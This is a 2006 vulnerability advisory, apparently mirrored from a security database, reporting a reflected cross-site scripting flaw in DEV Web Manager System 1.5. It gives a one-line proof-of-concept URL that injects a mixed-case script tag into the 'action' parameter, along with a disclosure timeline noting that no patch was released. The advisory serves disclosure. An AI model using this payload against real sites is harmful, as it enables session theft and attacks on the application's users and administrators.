Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:14750
HistoryOct 19, 2006 - 12:00 a.m.

{x0n3-h4ck} DEV Web Manager System <= 1.5 XSS Exploit

2006-10-1900:00:00
vulners.com
15

-=[--------------------ADVISORY-------------------]=-
-=[ ]=-
-=[ DEV Web Manager System <= 1.5 ]=-
-=[ ]=-
-=[ Author: CorryL [corryl80 (at) gmail (dot) com [email concealed]] ]=-
-=[ www.x0n3-h4ck.org ]=-
-=[----------------------------------------------------]=-

-=[+] Application: DEV Web Manager System
-=[+] Version: 1.5
-=[+] Vendor's URL: http://dev-wms.sourceforge.net/
-=[+] Platform: Windows\Linux\Unix
-=[+] Bug type: cross-site script [XSS]
-=[+] Exploitation: Remote
-=[-]
-=[+] Author: CorryL ~ corryl80[at]gmail[dot]com ~
-=[+] Reference: www.x0n3-h4ck.org

…::[ Descriprion ]::…

DEV web manager system one application web based on php

…::[ Bug ]::…

this system e' affect from a bug of type XSS
a attaker to use the bug in order to steal sensitive information
to the users or admin

…::[ Proof Of Concept ]::…

http://web site/index.php?session=0&action=>"><ScRiPt%20%0a%0d>alert(775195196)%3B<
/ScRiPt>

…::[ Workaround ]::…

Nothing

…::[ Disclousure Timeline ]::…

[07/10/2006] - Vendor notification
[11/10/2006] - Vendor Response
[17/10/2006] - No patch relase from vendor
[17/10/2006] - Public disclousure